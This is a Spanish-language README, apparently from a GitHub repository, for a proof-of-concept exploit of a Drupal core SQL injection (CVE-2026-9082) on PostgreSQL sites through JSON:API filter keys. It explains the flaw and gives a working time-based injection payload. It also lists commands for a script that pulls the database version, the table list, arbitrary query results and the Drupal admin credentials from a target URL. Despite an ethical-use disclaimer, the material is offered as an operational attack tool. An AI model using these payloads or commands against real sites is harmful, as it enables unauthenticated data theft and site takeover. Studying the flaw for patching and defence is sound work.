
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PoC ético para la vulnerabilidad de Drupal que permite inyección SQL anónima a través del módulo JSON:API en sitios respaldados por PostgreSQL.
Este repositorio proporciona una Prueba de Concepto (PoC) ética para CVE-2026-9082, una vulnerabilidad de inyección SQL Altamente Crítica en Drupal Core que afecta a todos los sitios basados en PostgreSQL que ejecutan Drupal 8.0 hasta 11.3.9.
El fallo reside en el manejador de condiciones de consulta de entidades de PostgreSQL y puede ser explotado por usuarios anónimos (no autenticados) a través del módulo JSON:API, que está habilitado por defecto desde Drupal 9.
Aviso oficial: SA-CORE-2026-004
Drupal Core incluye una API de abstracción de base de datos diseñada para
sanitizar consultas y prevenir la inyección SQL. Un fallo en la clase de
condición de consulta de entidades específica de PostgreSQL
(core/modules/pgsql/src/EntityQuery/Condition.php) permite a un
atacante inyectar SQL arbitrario a través de claves de array
controladas por el usuario pasadas mediante parámetros de filtro
JSON:API.
translateCondition() en la clase Condition de
PostgreSQL itera sobre $condition['value'] y utiliza las
claves del array para construir nombres de placeholders
PDO:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_]. Cuando la clave contiene ),
PDO deja de analizar el nombre del placeholder —
todo lo posterior se convierte en SQL literal inyectado
en la consulta.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--, el
atacante cierra la cláusula IN() y añade SQL arbitrario,
mientras que el enlace para :prefix_1 es satisfecho por una
clave legítima 1 en la misma solicitud.
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, fines educativos e investigación ética. El acceso no autorizado a sistemas informáticos es ilegal.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich
# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py